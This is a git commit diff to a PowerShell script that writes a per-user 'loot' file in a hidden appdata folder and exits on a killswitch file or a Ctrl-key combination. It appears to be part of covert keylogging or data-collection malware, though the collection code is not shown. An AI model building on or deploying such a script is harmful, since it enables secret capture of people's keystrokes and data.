Update -logs.ps1
This commit is contained in:
parent
e11a06b61e
commit
1ca6e03038
1 changed files with 3 additions and 2 deletions
|
@ -4,8 +4,7 @@
|
||||||
|
|
||||||
Add-Type -AssemblyName WindowsBase
|
Add-Type -AssemblyName WindowsBase
|
||||||
Add-Type -AssemblyName PresentationCore
|
Add-Type -AssemblyName PresentationCore
|
||||||
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
|
|
||||||
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
|
|
||||||
|
|
||||||
$Path="$env:appdata\-locker\$env:UserName-loot.txt"
|
$Path="$env:appdata\-locker\$env:UserName-loot.txt"
|
||||||
|
|
||||||
|
@ -84,6 +83,8 @@ while ($true) {
|
||||||
while ((Get-Date -Date $t) -gt (Get-Date))
|
while ((Get-Date -Date $t) -gt (Get-Date))
|
||||||
{
|
{
|
||||||
# sleeps
|
# sleeps
|
||||||
|
$Lctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'LeftCtrl')
|
||||||
|
$Rctrl = [Windows.Input.Keyboard]::IsKeyDown([System.Windows.Input.Key]::'RightCtrl')
|
||||||
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}
|
if((get-date) -gt (Get-content "$env:appdata\-locker\killswitch.txt" -or $Rctrl -and $Lctrl)){exit}
|
||||||
(Get-Date -Date $t) - (Get-Date) | Start-Sleep
|
(Get-Date -Date $t) - (Get-Date) | Start-Sleep
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in a new issue